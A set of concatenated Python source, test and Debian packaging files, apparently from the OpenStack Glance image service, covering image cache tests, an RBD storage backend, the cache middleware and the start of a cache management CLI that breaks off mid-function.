path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'DELETE')
self.assertEqual(response.status, 200)
path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('cached_images' in data)
cached_images = data['cached_images']
self.assertEqual(0, len(cached_images))
self.stop_servers()
@skip_if_disabled
def test_queue_and_prefetch(self):
"""
Tests that images may be queued and prefetched
"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
api_port = self.api_port
registry_port = self.registry_port
cache_config_filepath = os.path.join(self.test_dir, 'etc',
'glance-cache.conf')
cache_file_options = {
'image_cache_dir': self.api_server.image_cache_dir,
'image_cache_driver': self.image_cache_driver,
'registry_port': self.api_server.registry_port,
'log_file': os.path.join(self.test_dir, 'cache.log'),
'metadata_encryption_key': "012345678901234567890123456789ab"
}
with open(cache_config_filepath, 'w') as cache_file:
cache_file.write("""[DEFAULT]
debug = True
verbose = True
image_cache_dir = %(image_cache_dir)s
image_cache_driver = %(image_cache_driver)s
registry_host = 0.0.0.0
registry_port = %(registry_port)s
metadata_encryption_key = %(metadata_encryption_key)s
log_file = %(log_file)s
""" % cache_file_options)
with open(cache_config_filepath.replace(".conf", "-paste.ini"),
'w') as paste_file:
paste_file.write("""[app:glance-pruner]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.pruner:Pruner
[app:glance-prefetcher]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.prefetcher:Prefetcher
[app:glance-cleaner]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.cleaner:Cleaner
[app:glance-queue-image]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.queue_image:Queuer
""")
self.verify_no_images()
ids = {}
# Add a bunch of images...
for x in xrange(0, 4):
ids[x] = self.add_image("Image%s" % str(x))
# Queue the first image, verify no images still in cache after queueing
# then run the prefetcher and verify that the image is then in the
# cache
path = "http://%s:%d/v1/queued_images/%s" % ("0.0.0.0", self.api_port,
ids[0])
http = httplib2.Http()
response, content = http.request(path, 'PUT')
self.assertEqual(response.status, 200)
self.verify_no_cached_images()
cmd = "bin/glance-cache-prefetcher --config-file %s" % \
cache_config_filepath
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertEqual('', out.strip(), out)
# Verify first image now in cache
path = "http://%s:%d/v1/cached_images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
data = json.loads(content)
self.assertTrue('cached_images' in data)
cached_images = data['cached_images']
self.assertEqual(1, len(cached_images))
self.assertTrue(ids[0] in [r['image_id']
for r in data['cached_images']])
self.stop_servers()
class TestImageCacheXattr(functional.FunctionalTest,
BaseCacheMiddlewareTest):
"""Functional tests that exercise the image cache using the xattr driver"""
def setUp(self):
"""
Test to see if the pre-requisites for the image cache
are working (python-xattr installed and xattr support on the
filesystem)
"""
if getattr(self, 'disabled', False):
return
if not getattr(self, 'inited', False):
try:
import xattr
except ImportError:
self.inited = True
self.disabled = True
self.disabled_message = ("python-xattr not installed.")
return
self.inited = True
self.disabled = False
self.image_cache_driver = "xattr"
super(TestImageCacheXattr, self).setUp()
self.api_server.deployment_flavor = "caching"
if not xattr_writes_supported(self.test_dir):
self.inited = True
self.disabled = True
self.disabled_message = ("filesystem does not support xattr")
return
def tearDown(self):
if os.path.exists(self.api_server.image_cache_dir):
shutil.rmtree(self.api_server.image_cache_dir)
class TestImageCacheManageXattr(functional.FunctionalTest,
BaseCacheManageMiddlewareTest):
"""
Functional tests that exercise the image cache management
with the Xattr cache driver
"""
def setUp(self):
"""
Test to see if the pre-requisites for the image cache
are working (python-xattr installed and xattr support on the
filesystem)
"""
if getattr(self, 'disabled', False):
return
if not getattr(self, 'inited', False):
try:
import xattr
except ImportError:
self.inited = True
self.disabled = True
self.disabled_message = ("python-xattr not installed.")
return
self.inited = True
self.disabled = False
self.image_cache_driver = "xattr"
super(TestImageCacheManageXattr, self).setUp()
self.api_server.deployment_flavor = "cachemanagement"
if not xattr_writes_supported(self.test_dir):
self.inited = True
self.disabled = True
self.disabled_message = ("filesystem does not support xattr")
return
def tearDown(self):
if os.path.exists(self.api_server.image_cache_dir):
shutil.rmtree(self.api_server.image_cache_dir)
class TestImageCacheSqlite(functional.FunctionalTest,
BaseCacheMiddlewareTest):
"""
Functional tests that exercise the image cache using the
SQLite driver
"""
def setUp(self):
"""
Test to see if the pre-requisites for the image cache
are working (python-xattr installed and xattr support on the
filesystem)
"""
if getattr(self, 'disabled', False):
return
if not getattr(self, 'inited', False):
try:
import sqlite3
except ImportError:
self.inited = True
self.disabled = True
self.disabled_message = ("python-sqlite3 not installed.")
return
self.inited = True
self.disabled = False
super(TestImageCacheSqlite, self).setUp()
self.api_server.deployment_flavor = "caching"
def tearDown(self):
if os.path.exists(self.api_server.image_cache_dir):
shutil.rmtree(self.api_server.image_cache_dir)
class TestImageCacheManageSqlite(functional.FunctionalTest,
BaseCacheManageMiddlewareTest):
"""
Functional tests that exercise the image cache management using the
SQLite driver
"""
def setUp(self):
"""
Test to see if the pre-requisites for the image cache
are working (python-xattr installed and xattr support on the
filesystem)
"""
if getattr(self, 'disabled', False):
return
if not getattr(self, 'inited', False):
try:
import sqlite3
except ImportError:
self.inited = True
self.disabled = True
self.disabled_message = ("python-sqlite3 not installed.")
return
self.inited = True
self.disabled = False
self.image_cache_driver = "sqlite"
super(TestImageCacheManageSqlite, self).setUp()
self.api_server.deployment_flavor = "cachemanagement"
def tearDown(self):
if os.path.exists(self.api_server.image_cache_dir):
shutil.rmtree(self.api_server.image_cache_dir)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 <NAME>
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Storage backend for RBD
(RADOS (Reliable Autonomic Distributed Object Store) Block Device)"""
from __future__ import absolute_import
from __future__ import with_statement
import hashlib
import logging
import math
from glance.common import cfg
from glance.common import exception
import glance.store
import glance.store.base
import glance.store.location
try:
import rados
import rbd
except ImportError:
pass
DEFAULT_POOL = 'rbd'
DEFAULT_CONFFILE = '' # librados will locate the default conf file
DEFAULT_USER = None # let librados decide based on the Ceph conf file
DEFAULT_CHUNKSIZE = 4 # in MiB
logger = logging.getLogger('glance.store.rbd')
class StoreLocation(glance.store.location.StoreLocation):
"""
Class describing a RBD URI. This is of the form:
rbd://image
"""
def process_specs(self):
self.image = self.specs.get('image')
def get_uri(self):
return ("rbd://%s" % self.image)
def parse_uri(self, uri):
if not uri.startswith('rbd://'):
raise exception.BadStoreUri(uri, _('URI must start with rbd://'))
self.image = uri[6:]
class ImageIterator(object):
"""
Reads data from an RBD image, one chunk at a time.
"""
def __init__(self, name, store):
self.name = name
self.pool = store.pool
self.user = store.user
self.conf_file = store.conf_file
self.chunk_size = store.chunk_size
def __iter__(self):
try:
with rados.Rados(conffile=self.conf_file,
rados_id=self.user) as conn:
with conn.open_ioctx(self.pool) as ioctx:
with rbd.Image(ioctx, self.name) as image:
img_info = image.stat()
size = img_info['size']
bytes_left = size
while bytes_left > 0:
length = min(self.chunk_size, bytes_left)
data = image.read(size - bytes_left, length)
bytes_left -= len(data)
yield data
raise StopIteration()
except rbd.ImageNotFound:
raise exception.NotFound(
_('RBD image %s does not exist') % self.name)
class Store(glance.store.base.Store):
"""An implementation of the RBD backend adapter."""
EXAMPLE_URL = "rbd://<IMAGE>"
opts = [
cfg.IntOpt('rbd_store_chunk_size', default=DEFAULT_CHUNKSIZE),
cfg.StrOpt('rbd_store_pool', default=DEFAULT_POOL),
cfg.StrOpt('rbd_store_user', default=DEFAULT_USER),
cfg.StrOpt('rbd_store_ceph_conf', default=DEFAULT_CONFFILE),
]
def configure_add(self):
"""
Configure the Store to use the stored configuration options
Any store that needs special configuration should implement
this method. If the store was not able to successfully configure
itself, it should raise `exception.BadStoreConfiguration`
"""
self.conf.register_opts(self.opts)
try:
self.chunk_size = self.conf.rbd_store_chunk_size * 1024 * 1024
# these must not be unicode since they will be passed to a
# non-unicode-aware C library
self.pool = str(self.conf.rbd_store_pool)
self.user = str(self.conf.rbd_store_user)
self.conf_file = str(self.conf.rbd_store_ceph_conf)
except cfg.ConfigFileValueError, e:
reason = _("Error in store configuration: %s") % e
logger.error(reason)
raise exception.BadStoreConfiguration(store_name='rbd',
reason=reason)
def get(self, location):
"""
Takes a `glance.store.location.Location` object that indicates
where to find the image file, and returns a generator for reading
the image file
:param location `glance.store.location.Location` object, supplied
from glance.store.location.get_location_from_uri()
:raises `glance.exception.NotFound` if image does not exist
"""
loc = location.store_location
return (ImageIterator(str(loc.image), self), None)
def add(self, image_id, image_file, image_size):
"""
Stores an image file with supplied identifier to the backend
storage system and returns an `glance.store.ImageAddResult` object
containing information about the stored image.
:param image_id: The opaque image identifier
:param image_file: The image data to write, as a file-like object
:param image_size: The size of the image data to write, in bytes
:retval `glance.store.ImageAddResult` object
:raises `glance.common.exception.Duplicate` if the image already
existed
"""
location = StoreLocation({'image': image_id})
checksum = hashlib.md5()
image_name = str(image_id)
with rados.Rados(conffile=self.conf_file, rados_id=self.user) as conn:
with conn.open_ioctx(self.pool) as ioctx:
order = int(math.log(self.chunk_size, 2))
logger.debug('creating image %s with order %d',
image_name, order)
try:
rbd.RBD().create(ioctx, image_name, image_size, order)
except rbd.ImageExists:
raise exception.Duplicate(
_('RBD image %s already exists') % image_id)
with rbd.Image(ioctx, image_name) as image:
bytes_left = image_size
while bytes_left > 0:
length = min(self.chunk_size, bytes_left)
data = image_file.read(length)
image.write(data, image_size - bytes_left)
bytes_left -= length
checksum.update(data)
return (location.get_uri(), image_size, checksum.hexdigest())
def delete(self, location):
"""
Takes a `glance.store.location.Location` object that indicates
where to find the image file to delete
:location `glance.store.location.Location` object, supplied
from glance.store.location.get_location_from_uri()
:raises NotFound if image does not exist
"""
loc = location.store_location
with rados.Rados(conffile=self.conf_file, rados_id=self.user) as conn:
with conn.open_ioctx(self.pool) as ioctx:
try:
rbd.RBD().remove(ioctx, str(loc.image))
except rbd.ImageNotFound:
raise exception.NotFound(
_('RBD image %s does not exist') % loc.image)
glance.store.register_store(__name__, ['rbd'])
<file_sep>#!/usr/bin/make -f
# Verbose mode
#export DH_VERBOSE=1
DEB_PYTHON_SYSTEM=pysupport
#export DH_VERBOSE=1
%:
dh $@ --with python2
get-orig-source:
uscan --verbose --force-download --rename --destdir=../build-area
override_dh_install:
dh_install
ifeq (,$(findstring nocheck, $(DEB_BUILD_OPTIONS)))
override_dh_auto_test:
bash run_tests.sh -N
endif
override_dh_auto_build:
dh_auto_build
# ifeq (,$(findstring nodocs, $(DEB_BUILD_OPTIONS)))
# mkdir doc/build
# python setup.py build_sphinx
# else
mkdir -p doc/build/html
# endif
override_dh_auto_clean:
dh_auto_clean
rm -rf doc/build
rm -rf glance.sqlite
override_dh_installinit:
dh_installinit --name glance-api
dh_installinit --name glance-registry
<file_sep>#!/bin/sh
set -e
case $1 in
remove|purge)
invoke-rc.d glance-api stop
invoke-rc.d glance-registry stop
esac
#DEBHELPER#
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
LRU Cache for Image Data
"""
import logging
import os
from glance.common import cfg
from glance.common import exception
from glance.common import utils
logger = logging.getLogger(__name__)
DEFAULT_MAX_CACHE_SIZE = 10 * 1024 * 1024 * 1024 # 10 GB
class ImageCache(object):
"""Provides an LRU cache for image data."""
opts = [
cfg.StrOpt('image_cache_driver', default='sqlite'),
cfg.IntOpt('image_cache_max_size', default=10 * (1024 ** 3)), # 10 GB
cfg.IntOpt('image_cache_stall_time', default=86400), # 24 hours
cfg.StrOpt('image_cache_dir'),
]
def __init__(self, conf):
self.conf = conf
self.conf.register_opts(self.opts)
self.init_driver()
def init_driver(self):
"""
Create the driver for the cache
"""
driver_name = self.conf.image_cache_driver
driver_module = (__name__ + '.drivers.' + driver_name + '.Driver')
try:
self.driver_class = utils.import_class(driver_module)
logger.info(_("Image cache loaded driver '%s'.") %
driver_name)
except exception.ImportFailure, import_err:
logger.warn(_("Image cache driver "
"'%(driver_name)s' failed to load. "
"Got error: '%(import_err)s.") % locals())
driver_module = __name__ + '.drivers.sqlite.Driver'
logger.info(_("Defaulting to SQLite driver."))
self.driver_class = utils.import_class(driver_module)
self.configure_driver()
def configure_driver(self):
"""
Configure the driver for the cache and, if it fails to configure,
fall back to using the SQLite driver which has no odd dependencies
"""
try:
self.driver = self.driver_class(self.conf)
self.driver.configure()
except exception.BadDriverConfiguration, config_err:
driver_module = self.driver_class.__module__
logger.warn(_("Image cache driver "
"'%(driver_module)s' failed to configure. "
"Got error: '%(config_err)s") % locals())
logger.info(_("Defaulting to SQLite driver."))
default_module = __name__ + '.drivers.sqlite.Driver'
self.driver_class = utils.import_class(default_module)
self.driver = self.driver_class(self.conf)
self.driver.configure()
def is_cached(self, image_id):
"""
Returns True if the image with the supplied ID has its image
file cached.
:param image_id: Image ID
"""
return self.driver.is_cached(image_id)
def is_queued(self, image_id):
"""
Returns True if the image identifier is in our cache queue.
:param image_id: Image ID
"""
return self.driver.is_queued(image_id)
def get_cache_size(self):
"""
Returns the total size in bytes of the image cache.
"""
return self.driver.get_cache_size()
def get_hit_count(self, image_id):
"""
Return the number of hits that an image has
:param image_id: Opaque image identifier
"""
return self.driver.get_hit_count(image_id)
def get_cached_images(self):
"""
Returns a list of records about cached images.
"""
return self.driver.get_cached_images()
def delete_all_cached_images(self):
"""
Removes all cached image files and any attributes about the images
and returns the number of cached image files that were deleted.
"""
return self.driver.delete_all_cached_images()
def delete_cached_image(self, image_id):
"""
Removes a specific cached image file and any attributes about the image
:param image_id: Image ID
"""
self.driver.delete_cached_image(image_id)
def delete_all_queued_images(self):
"""
Removes all queued image files and any attributes about the images
and returns the number of queued image files that were deleted.
"""
return self.driver.delete_all_queued_images()
def delete_queued_image(self, image_id):
"""
Removes a specific queued image file and any attributes about the image
:param image_id: Image ID
"""
self.driver.delete_queued_image(image_id)
def prune(self):
"""
Removes all cached image files above the cache's maximum
size. Returns a tuple containing the total number of cached
files removed and the total size of all pruned image files.
"""
max_size = self.conf.image_cache_max_size
current_size = self.driver.get_cache_size()
if max_size > current_size:
logger.debug(_("Image cache has free space, skipping prune..."))
return (0, 0)
overage = current_size - max_size
logger.debug(_("Image cache currently %(overage)d bytes over max "
"size. Starting prune to max size of %(max_size)d ") %
locals())
total_bytes_pruned = 0
total_files_pruned = 0
entry = self.driver.get_least_recently_accessed()
while entry and current_size > max_size:
image_id, size = entry
logger.debug(_("Pruning '%(image_id)s' to free %(size)d bytes"),
{'image_id': image_id, 'size': size})
self.driver.delete_cached_image(image_id)
total_bytes_pruned = total_bytes_pruned + size
total_files_pruned = total_files_pruned + 1
current_size = current_size - size
entry = self.driver.get_least_recently_accessed()
logger.debug(_("Pruning finished pruning. "
"Pruned %(total_files_pruned)d and "
"%(total_bytes_pruned)d.") % locals())
return total_files_pruned, total_bytes_pruned
def clean(self, stall_time=None):
"""
Cleans up any invalid or incomplete cached images. The cache driver
decides what that means...
"""
self.driver.clean(stall_time)
def queue_image(self, image_id):
"""
This adds a image to be cache to the queue.
If the image already exists in the queue or has already been
cached, we return False, True otherwise
:param image_id: Image ID
"""
return self.driver.queue_image(image_id)
def get_caching_iter(self, image_id, image_iter):
"""
Returns an iterator that caches the contents of an image
while the image contents are read through the supplied
iterator.
:param image_id: Image ID
:param image_iter: Iterator that will read image contents
"""
if not self.driver.is_cacheable(image_id):
return image_iter
logger.debug(_("Tee'ing image '%s' into cache"), image_id)
def tee_iter(image_id):
with self.driver.open_for_write(image_id) as cache_file:
for chunk in image_iter:
cache_file.write(chunk)
yield chunk
cache_file.flush()
return tee_iter(image_id)
def cache_image_iter(self, image_id, image_iter):
"""
Cache an image with supplied iterator.
:param image_id: Image ID
:param image_file: Iterator retrieving image chunks
:retval True if image file was cached, False otherwise
"""
if not self.driver.is_cacheable(image_id):
return False
with self.driver.open_for_write(image_id) as cache_file:
for chunk in image_iter:
cache_file.write(chunk)
cache_file.flush()
return True
def cache_image_file(self, image_id, image_file):
"""
Cache an image file.
:param image_id: Image ID
:param image_file: Image file to cache
:retval True if image file was cached, False otherwise
"""
CHUNKSIZE = 64 * 1024 * 1024
return self.cache_image_iter(image_id,
utils.chunkiter(image_file, CHUNKSIZE))
def open_for_read(self, image_id):
"""
Open and yield file for reading the image file for an image
with supplied identifier.
:note Upon successful reading of the image file, the image's
hit count will be incremented.
:param image_id: Image ID
"""
return self.driver.open_for_read(image_id)
def get_image_size(self, image_id):
"""
Return the size of the image file for an image with supplied
identifier.
:param image_id: Image ID
"""
return self.driver.get_image_size(image_id)
def get_queued_images(self):
"""
Returns a list of image IDs that are in the queue. The
list should be sorted by the time the image ID was inserted
into the queue.
"""
return self.driver.get_queued_images()
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os
import commands
import datetime
import re
import unittest
from glance.common import crypt
from glance.common import exception
from glance.common import utils
def parse_mailmap(mailmap='.mailmap'):
mapping = {}
if os.path.exists(mailmap):
fp = open(mailmap, 'r')
for l in fp:
l = l.strip()
if not l.startswith('#') and ' ' in l:
canonical_email, alias = l.split(' ')
mapping[alias] = canonical_email
return mapping
def str_dict_replace(s, mapping):
for s1, s2 in mapping.iteritems():
s = s.replace(s1, s2)
return s
class AuthorsTestCase(unittest.TestCase):
def test_authors_up_to_date(self):
topdir = os.path.normpath(os.path.dirname(__file__) + '/../../..')
contributors = set()
missing = set()
authors_file = open(os.path.join(topdir, 'Authors'), 'r').read()
if os.path.exists(os.path.join(topdir, '.git')):
mailmap = parse_mailmap(os.path.join(topdir, '.mailmap'))
for email in commands.getoutput('git log --format=%ae').split():
if not email:
continue
if "jenkins" in email and "openstack.org" in email:
continue
email = '<' + email + '>'
contributors.add(str_dict_replace(email, mailmap))
for contributor in contributors:
if contributor == 'glance-core':
continue
if not contributor in authors_file:
missing.add(contributor)
self.assertTrue(len(missing) == 0,
'%r not listed in Authors' % missing)
class UtilsTestCase(unittest.TestCase):
def test_bool_from_string(self):
true_values = ['True', True, 'true', 'TRUE', '1', 1, 'on', 'ON']
i = 0
for value in true_values:
self.assertTrue(utils.bool_from_string(value),
"Got False for value: %r (%d)" % (value, i))
i = i + 1
false_values = ['False', False, 'false', 'T', 'F', 'FALSE',
'0', 0, 9, 'off', 'OFF']
for value in false_values:
self.assertFalse(utils.bool_from_string(value),
"Got True for value: %r" % value)
def test_import_class_or_object(self):
# Test that import_class raises a descriptive error when the
# class to import could not be found.
self.assertRaises(exception.ImportFailure, utils.import_class,
'nomodule')
self.assertRaises(exception.ImportFailure, utils.import_class,
'mymodule.nonexistingclass')
self.assertRaises(exception.ImportFailure, utils.import_class,
'sys.nonexistingclass')
self.assertRaises(exception.ImportFailure, utils.import_object,
'os.path.NONEXISTINGOBJECT')
store_class = utils.import_class('glance.store.s3.Store')
self.assertTrue(store_class.__name__ == 'Store')
# Try importing an object by supplying a class and
# verify the object's class name is the same as that supplied
ex_obj = utils.import_object('glance.common.exception.GlanceException')
self.assertTrue(ex_obj.__class__.__name__ == 'GlanceException')
# Try importing a module itself
module_obj = utils.import_object('glance.registry')
self.assertEqual('glance.registry', module_obj.__package__)
def test_isotime(self):
dt1 = datetime.datetime(2001, 11, 10, 1, 2, 3)
self.assertEqual('2001-11-10T01:02:03Z', utils.isotime(dt1))
iso_re = re.compile(r'^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z')
now_iso = utils.isotime()
self.assertTrue(iso_re.match(now_iso) is not None)
def test_encryption(self):
# Check that original plaintext and unencrypted ciphertext match
# Check keys of the three allowed lengths
key_list = ["<KEY>",
"<KEY>",
"<KEY>"]
plaintext_list = ['']
blocksize = 64
for i in range(3 * blocksize):
plaintext_list.append(os.urandom(i))
for key in key_list:
for plaintext in plaintext_list:
ciphertext = crypt.urlsafe_encrypt(key, plaintext, blocksize)
self.assertTrue(ciphertext != plaintext)
text = crypt.urlsafe_decrypt(key, ciphertext)
self.assertTrue(plaintext == text)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Transparent image file caching middleware, designed to live on
Glance API nodes. When images are requested from the API node,
this middleware caches the returned image file to local filesystem.
When subsequent requests for the same image file are received,
the local cached copy of the image file is returned.
"""
import httplib
import logging
import re
import webob
from glance import image_cache
from glance import registry
from glance.api.v1 import images
from glance.common import exception
from glance.common import utils
from glance.common import wsgi
logger = logging.getLogger(__name__)
get_images_re = re.compile(r'^(/v\d+)*/images/([^\/]+)$')
class CacheFilter(wsgi.Middleware):
def __init__(self, app, conf, **local_conf):
self.conf = conf
self.cache = image_cache.ImageCache(conf)
self.serializer = images.ImageSerializer(conf)
logger.info(_("Initialized image cache middleware"))
super(CacheFilter, self).__init__(app)
def process_request(self, request):
"""
For requests for an image file, we check the local image
cache. If present, we return the image file, appending
the image metadata in headers. If not present, we pass
the request on to the next application in the pipeline.
"""
if request.method != 'GET':
return None
match = get_images_re.match(request.path)
if not match:
return None
image_id = match.group(2)
# /images/detail is unfortunately supported, so here we
# cut out those requests and anything with a query
# parameter...
# See LP Bug #879136
if '?' in image_id or image_id == 'detail':
return None
if self.cache.is_cached(image_id):
logger.debug(_("Cache hit for image '%s'"), image_id)
image_iterator = self.get_from_cache(image_id)
context = request.context
try:
image_meta = registry.get_image_metadata(context, image_id)
if not image_meta['size']:
# override image size metadata with the actual cached
# file size, see LP Bug #900959
image_meta['size'] = self.cache.get_image_size(image_id)
response = webob.Response(request=request)
return self.serializer.show(response, {
'image_iterator': image_iterator,
'image_meta': image_meta})
except exception.NotFound:
msg = _("Image cache contained image file for image '%s', "
"however the registry did not contain metadata for "
"that image!" % image_id)
logger.error(msg)
return None
def process_response(self, resp):
"""
We intercept the response coming back from the main
images Resource, caching image files to the cache
"""
if not self.get_status_code(resp) == httplib.OK:
return resp
request = resp.request
if request.method not in ('GET', 'DELETE'):
return resp
match = get_images_re.match(request.path)
if match is None:
return resp
image_id = match.group(2)
if '?' in image_id or image_id == 'detail':
return resp
if self.cache.is_cached(image_id):
if request.method == 'DELETE':
logger.info(_("Removing image %s from cache"), image_id)
self.cache.delete_cached_image(image_id)
return resp
resp.app_iter = self.cache.get_caching_iter(image_id, resp.app_iter)
return resp
def get_status_code(self, response):
"""
Returns the integer status code from the response, which
can be either a Webob.Response (used in testing) or httplib.Response
"""
if hasattr(response, 'status_int'):
return response.status_int
return response.status
def get_from_cache(self, image_id):
"""Called if cache hit"""
with self.cache.open_for_read(image_id) as cache_file:
chunks = utils.chunkiter(cache_file)
for chunk in chunks:
yield chunk
<file_sep>#!/usr/bin/env python
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
A simple cache management utility for Glance.
"""
import functools
import gettext
import optparse
import os
import sys
import time
# If ../glance/__init__.py exists, add ../ to Python search path, so that
# it will override what happens to be installed in /usr/(local/)lib/python...
possible_topdir = os.path.normpath(os.path.join(os.path.abspath(sys.argv[0]),
os.pardir,
os.pardir))
if os.path.exists(os.path.join(possible_topdir, 'glance', '__init__.py')):
sys.path.insert(0, possible_topdir)
gettext.install('glance', unicode=1)
from glance import client as glance_client
from glance import version
from glance.common import exception
from glance.common import utils
SUCCESS = 0
FAILURE = 1
def catch_error(action):
"""Decorator to provide sensible default error handling for actions."""
def wrap(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
try:
ret = func(*args, **kwargs)
return SUCCESS if ret is None else ret
except exception.NotFound:
options = args[0]
print ("Cache management middleware not enabled on host %s" %
options.host)
return FAILURE
except exception.NotAuthorized:
print "Not authorized to make this request. Check "\
"your credentials (OS_AUTH_USER, OS_AUTH_KEY, ...)."
return FAILURE
except Exception, e:
options = args[0]
if options.debug:
raise
print "Failed to %s. Got error:" % action
pieces = unicode(e).split('\n')
for piece in pieces:
print piece
return FAILURE
return wrapper
return wrap
@catch_error('show cached images')
def list_cached(options, args):
"""
%(prog)s list-cached [options]
List all images currently cached"""
client = get_client(options)
images = client.get_cached_images()
if not images:
print "No cached images."
return SUCCESS
print "Found %d cached images..." % len(images)
pretty_table = utils.PrettyTable()
pretty_table.add_column(36, label="ID")
pretty_table.add_column(19, label="Last Accessed (UTC)")
pretty_table.add_column(19, label="Last Modified (UTC)")
# 1 TB takes 13 characters to display: len(str(2**40)) == 13
pretty_table.add_column(14, label="Size", just="r")
pretty_table.add_column(10, label="Hits", just="r")
print pretty_table.make_header()
for image in images:
print pretty_table.make_row(
image['image_id'],
image['last_accessed'],
image['last_modified'],
image['size'],
image['hits'])
@catch_error('show queued images')
def list_queued(options, args):
"""
%(prog)s list-queued [options]
List all images currently queued for caching"""
client = get_client(options)
images = client.get_queued_images()
if not images:
print "No queued images."
return SUCCESS
print "Found %d queued images..." % len(images)
pretty_table = utils.PrettyTable()
pretty_table.add_column(36, label="ID")
print pretty_table.make_header()
for image in images:
print pretty_table.make_row(image)
@catch_error('queue the specified image for caching')
def queue_image(options, args):
"""
%(prog)s queue-image <IMAGE_ID> [options]
Queues an image for caching"""
try:
image_id = args.pop()
except IndexError:
print "Please specify the ID of the image you wish to queue "
print "from the cache as the first argument"
return FAILURE
if not options.force and \
not user_confirm("Queue image %s for caching?" % (image_id,),
default=False):
return SUCCESS
client = get_client(options)
client.queue_image_for_caching(image_id)
if options.verbose:
print "Queued image %(image_id)s for caching" % locals()
return SUCCESS
@catch_error('delete the specified cached image')
def delete_cached_image(options, args):
"""
%(prog)s delete-cached-image [options]
Deletes an image from the cache"""
try:
image_id = args.pop()
except IndexError:
print "Please specify the ID of the image you wish to delete "
print "from the cache as the first argument"
return FAILURE
if not options.force and \
not user_confirm("Delete cached image %s?" % (image_id,),
default=False):
return SUCCESS
client = get_client(options)
client.delete_cached_image(image_id)
if options.verbose:
print "Deleted cached image %(image_id)s" % locals()
return SUCCESS
@catch_error('Delete all cached images')
def delete_all_cached_images(options, args):
"""
%(prog)s delete-all-cached-images [options]
Removes all images from the cache"""
if not options.force and \
not user_confirm("Delete all cached images?", default=False):
return SUCCESS
client = get_client(options)
num_deleted = client.delete_all_cached_images()
if options.verbose:
print "Deleted %(num_deleted)s cached images" % locals()
return SUCCESS
@catch_error('delete the specified queued image')
def delete_queued_image(options, args):
"""
%(prog)s delete-queued-image [options]
Deletes an image from the cache"""
try:
image_id = args.pop()
except IndexError:
print "Please specify the ID of the image you wish to delete "
print "from the cache as the first argument"
return FAILURE
if not options.force and \
not user_confirm("Delete queued image %s?" % (image_id,),
default=False):
return SUCCESS
client = get_client(options)
client.delete_queued_image(image_id)
if options.verbose:
print "Deleted queued image %(image_id)s" % locals()
return SUCCESS
@catch_error('Delete all queued images')
def delete_all_queued_images(options, args):
"""
%(prog)s delete-all-queued-images [options]
Removes all images from the cache queue"""
if not options.force and \
not user_confirm("Delete all queued images?", default=False):
return SUCCESS
client = get_client(options)
num_deleted = client.delete_all_queued_images()
if options.verbose:
print "Deleted %(num_deleted)s queued images" % locals()
return SUCCESS
def get_client(options):
"""
Returns a new client object to a Glance server
specified by the --host and --port options
supplied to the CLI
"""
creds = dict(username=os.getenv('OS_AUTH_USER'),
password=os.getenv('OS_AUTH_KEY'),
tenant=os.getenv('OS_AUTH_TENANT'),
auth_url=os.getenv('OS_AUTH_URL'),
strategy=os.getenv('OS_AUTH_STRATEGY', 'noauth'))
use_ssl = (options.host.find('https') != -1 or (
creds['auth_url'] is not None and
